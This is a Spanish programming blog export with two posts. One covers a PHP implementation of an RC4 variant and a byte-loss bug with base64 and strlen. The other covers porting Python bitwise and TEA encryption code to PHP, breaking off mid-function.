<span style="color: #222222;"><span style="background-color: #f7f7f7; font-size: 15px;"><br /></span></span>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com1tag:blogger.com,1999:blog-7497320377221458624.post-74610591164676613652017-01-01T04:14:00.002-08:002017-01-01T04:14:30.609-08:00Cuidado con los bytes ocultos (variante Arc4 y base64)Aquí una versión PHP de una variante de la encriptación ARC4 (Alleged-<span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">Rivest Cipher, </span><span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">parte de los protocolos de cifrado más comunes como WEP, WPA para tarjetas wireless y TLS).</span><br />
<span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;"><br /></span>
<span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">function varc4($clave,$string)</span><br />
<span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;"> {</span><span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;"> </span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$x=strlen($</span></span><span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">clave</span><span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;">);</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for($h=0;$h<256;$h++)</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span> {$b[$h]=$h;}</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for($h=0;$h<256;$h++)</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$f=($f+$b[$h]+ord($</span></span><span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">clave</span><span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;">[$h%$x]))%256;</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px; white-space: pre;"> //swap</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px; white-space: pre;"><br /></span></span>
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$i=$b[$h];</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$b[$h]=$b[$f];</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$b[$f]=$i;<span class="Apple-tab-span" style="white-space: pre;"> </span></span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$f=$h=0;</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for($q=0;$q<strlen($</span></span><span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">string</span><span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;">);$q++)</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$h=($h+1)%256;</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$f=($f+$b[$h])%256;</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//swap</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$i=$b[$h];</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$b[$h]=$b[$f];</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$b[$f]=$i;</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> </span></span><span class="Apple-tab-span" style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;"> </span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>$d.=chr(ord($</span></span><span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px;">string</span><span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;">[$q])^$b[($b[$h]+$b[$f])%256]);</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"> }</span></span><br />
<br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> return $d;</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"> }</span></span><br />
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;"><br /></span></span>
<span class="Apple-tab-span" style="font-size: 14px; white-space: pre;"><span style="color: #252525; font-family: sans-serif;">Supongamos que usamos la clave "</span></span><span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px; white-space: pre;">becaf9be" y codificamos "348319812478410a334dd_1724" </span></span><br />
<span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;"><br /></span>
<span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">pasándolo a base64</span><br />
<span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;"><br /></span>
<span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">base64_encode(varc4("</span><span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">becaf9be</span><span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">","</span><span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">348319812478410a334dd_1724</span><span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">"));</span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px; white-space: pre;"><br /></span></span>
<span style="background-color: cyan; text-align: -webkit-center;">NAXYTQwXLrrY1ffJ8eJzA4P3vUdp1wzMWhs=</span><br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
El algoritmo es el mismo para encriptar y desencriptar, con lo que<br />
<br />
varc4("<span style="color: #252525; font-family: sans-serif; font-size: 14px; white-space: pre;">becaf9be</span>",base64_decode("<span style="background-color: cyan; text-align: -webkit-center;">NAXYTQwXLrrY1ffJ8eJzA4P3vUdp1wzMWhs=</span>"));<br />
<br />
debería dar el valor de partida. Pero da <span style="background-color: cyan; text-align: -webkit-center;">348319812478410a334</span><br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;">Problema: el algoritmo puede perder valores de la cadena, y el problema es la manera en que se calcula la longitud de $string cuando son valores binarios.</span><br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;">strlen(base64_decode(</span>"<span style="background-color: cyan; text-align: -webkit-center;">NAXYTQwXLrrY1ffJ8eJzA4P3vUdp1wzMWhs=</span>"<span style="background-color: cyan; text-align: -webkit-center;">))=19</span><br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;">pero la cadena debería ser de 26.</span><br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;">Solución: aplicar </span>mb_strlen($string, "8bit")<br />
<br />
varc4 es utilizado por páginas como Youku<br />
<br />
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="background-color: cyan; text-align: -webkit-center;"><br /></span>
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px; white-space: pre;"><br /></span></span>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com1tag:blogger.com,1999:blog-7497320377221458624.post-58110827294378910742016-05-15T04:10:00.002-07:002016-05-15T04:10:51.301-07:00From Python to PHP. An example<br />
<div style="text-align: justify;">
<b><span style="background-color: yellow; font-family: Courier New, Courier, monospace;">PHP es poco amigable cuando queremos trabajar con "big integers". Lo que se muestra poco menos que insufrible cuando queremos adaptar códigos de otros lenguajes más potentes en ello como Python. Aquí pongo algunos ejemplos para ayudar a adaptar de uno a otro lenguaje.</span></b></div>
<br />
<h4>
<span style="font-family: Georgia, Times New Roman, serif;">1- struct.pack & ord</span></h4>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span>
<span style="font-family: Georgia, Times New Roman, serif;">def pack(data):</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"> target = []</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"> for i in data:</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"> target.extend(struct.pack('>I', i))</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"> target = [ord(c) for c in target]</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"> return target</span><span style="background-color: white; color: #333333; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; line-height: 16.8px; white-space: pre;"> </span><br />
<span style="background-color: white; color: #333333; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; line-height: 16.8px; white-space: pre;"><br /></span>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333; line-height: 16.8px; white-space: pre;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="background-color: yellow; line-height: 16.8px; white-space: pre;"><b><span style="font-family: Courier New, Courier, monospace;">En este caso PHP nos permite realizar el proceso en un solo bucle.</span></b></span></div>
<div style="text-align: justify;">
<span style="background-color: yellow; font-family: 'Courier New', Courier, monospace; line-height: 16.8px; white-space: pre;"><b>El proceso Python realiza en </b></span><b style="font-family: 'Courier New', Courier, monospace;"><span style="background-color: yellow;"><span style="line-height: 16.8px; white-space: pre;">un primer </span><span style="line-height: 16.8px; white-space: pre;">bucle un </span>struct.pack('>I', i) de cada elemento del array data, y en un segundo bucle convierte cada uno de los elementos (caracteres) anteriores a su valor numérico ASCII. Con PHP tenemos el solo comando</span> </b></div>
<br />
<span style="color: #333333; line-height: 16.8px; white-space: pre;"><span style="font-family: Georgia, Times New Roman, serif;">array_values(unpack("C*",pack("N",$i)))</span></span><br />
<span style="color: #333333; line-height: 16.8px; white-space: pre;"><span style="font-family: Georgia, Times New Roman, serif;"><br /></span></span>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span>
<span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><span style="line-height: 16.8px; white-space: pre;">function packk($data)
{
$target = array();
foreach ($data as $i)
{$target=array_merge($target,array_values(unpack("C*",pack("N",$i))));}
return $target;
}</span></span><br />
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><b>2- trabajando con bitwise XOR y shifts.</b></span></span><br />
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><b><br /></b></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;">Ejemplo Python</span></span><br />
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><br /></span></span>
<table class="highlight tab-size js-file-line-container" data-tab-size="8" style="background-color: white; border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; color: #333333; font-family: Helvetica, arial, nimbussansl, liberationsans, freesans, clean, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; line-height: 18.2px; tab-size: 8;"><tbody style="box-sizing: border-box;">
<tr style="box-sizing: border-box;"><td class="blob-code blob-code-inner js-file-line" id="LC44" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">def</span> <span class="pl-en" style="box-sizing: border-box; color: #795da3;">tea_encrypt</span>(<span class="pl-smi" style="box-sizing: border-box;">v</span>, <span class="pl-smi" style="box-sizing: border-box;">key</span>):</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="45" id="L45" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC45" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> s <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">=</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span></span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="46" id="L46" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC46" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> key <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">=</span> unpack(key)</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="47" id="L47" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC47" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> v <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">=</span> unpack(v)</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="48" id="L48" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC48" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">for</span> i <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">in</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">range</span>(<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">ROUNDS</span>):</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="49" id="L49" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC49" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> s <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+=</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">DELTA</span></span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="50" id="L50" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC50" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> s <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">&=</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">0x</span>ffffffff</span></span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="51" id="L51" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC51" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>] <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+=</span> (v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>s) <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">^</span> ((v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">>></span><span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">5</span>)<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>key[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>]) <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">^</span> ((v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;"><<</span><span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">4</span>)<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>key[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>])</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="52" id="L52" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC52" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>] <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">&=</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">0x</span>ffffffff</span></span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="53" id="L53" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC53" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>] <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+=</span> (v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>s) <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">^</span> ((v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">>></span><span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">5</span>)<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>key[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">3</span>]) <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">^</span> ((v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">0</span>]<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;"><<</span><span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">4</span>)<span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">+</span>key[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">2</span>])</span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="54" id="L54" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC54" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> v[<span class="pl-c1" style="box-sizing: border-box; color: #0086b3;">1</span>] <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">&=</span> <span class="pl-c1" style="box-sizing: border-box; color: #0086b3;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">0x</span>ffffffff</span></span></td></tr>
<tr style="box-sizing: border-box;"><td class="blob-num js-line-number" data-line-number="55" id="L55" style="-webkit-user-select: none; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; box-sizing: border-box; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: 50px; padding: 0px 10px; text-align: right; vertical-align: top; white-space: nowrap; width: 50px;"></td><td class="blob-code blob-code-inner js-file-line" id="LC55" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><span style="font-family: Georgia, Times New Roman, serif;"> <span class="pl-k" style="box-sizing: border-box; color: #a71d5d;">return</span> pack(v)</span></td></tr>
</tbody></table>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><br /></span></span>
<span style="background-color: yellow; line-height: 16.8px; white-space: pre;"><span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><br /></span></span>
<span style="background-color: yellow; line-height: 16.8px; white-space: pre;"><span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;">En este caso PHP ofrece demasiados problemas y la implementación es más complicada. </span></span><br />
<span style="background-color: yellow;"><span style="line-height: 16.8px; white-space: pre;"><span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;">Necesitamos </span></span><span style="font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; line-height: 16.8px; white-space: pre;">codificar las siguientes funciones por separado:</span></span><br />
<span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: yellow; line-height: 16.8px; white-space: pre;"><br /></span></span>
<span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: yellow; line-height: 16.8px; white-space: pre;">- la conversión a 32 bits sin signo: to32</span></span><br />
<span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: yellow; line-height: 16.8px; white-space: pre;">- el right shift (>>): _rshift</span></span><br />
<span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: yellow; line-height: 16.8px; white-space: pre;">- el left shift (<<): simplemente usando pow, a << b es a*2^b (aquí ^ es potencia)</span></span><br />
<span style="font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: yellow; line-height: 16.8px; white-space: pre;">- el XOR (^), con la función binxor</span></span><br />
<span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: white; line-height: 16.8px; white-space: pre;"><br /></span></span>
<span style="color: #333333; font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;"><span style="background-color: white; line-height: 16.8px; white-space: pre;"><br /></span></span>
<span style="background-color: white; color: #333333; line-height: 16.8px; white-space: pre;"><span style="font-family: Georgia, Times New Roman, serif;">function to32($integer)
{
if (0xffffffff < $integer || -0xffffffff > $integer)
$integer = fmod($integer, 0xffffffff + 1);
if (0x7fffffff < $integer)
$integer -= 0xffffffff + 1.0;
elseif (-0x80000000 > $integer)
$integer += 0xffffffff + 1.0;
return $integer;
}</span></span><br />
<span style="background-color: white; color: #333333; line-height: 16.8px; white-space: pre;"><span style="font-family: Georgia, Times New Roman, serif;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;">function _rshift($integer, $n)
{
$integer=to32($integer);
if (0 > $integer)
{
$integer &= 0x7fffffff;
$integer >>= $n;
$integer |= 1 << (31 - $n);
}
else $integer >>= $n;
return $integer;
}
</span></span><br />
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;">function binxor($w1,$w2)
{
$x=base_convert($w1, 10, 2);
$y=base_convert($w2, 10, 2);
if (strlen($y)<strlen($x)) $y=str_repeat(0,strlen($x)-strlen($y)).$y;
if (strlen($x)<strlen($y)) $x=str_repeat(0,strlen($y)-strlen($x)).$x;
$x=str_split($x);$y=str_split($y);
$z="";
for ($k=0;$k<sizeof($x);$k++)
{
$z.=(int)($x[$k])^(int)($y[$k]);
}
return base_convert($z,2,10);
}
function bigint($a)
{return bindec(decbin($a));}</span></span><br />
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333; font-family: Georgia, Times New Roman, serif;"><br /></span></span>
<span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333;"><span style="font-family: Georgia, Times New Roman, serif;">function tea_encrypt($v, $key)
{
$s = 0;
$key = unpackk($key);
$v = unpackk($v);
for ($i=0;$i<16;$i++)
{
$s+= hexdec("9e3779b9");</span><span style="font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 12px;">
</span></span></span><br />
<span style="background-color: lime; line-height: 16.8px; white-space: pre;"><span style="font-family: Courier New, Courier, monospace;"><b>/* </b></span></span><br />
<span style="background-color: lime; line-height: 16.8px; white-space: pre;"><span style="font-family: Courier New, Courier, monospace;"><b>el código python es</b></span></span><br />
<span style="background-color: lime; line-height: 16.8px; white-space: pre;"><span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></span>
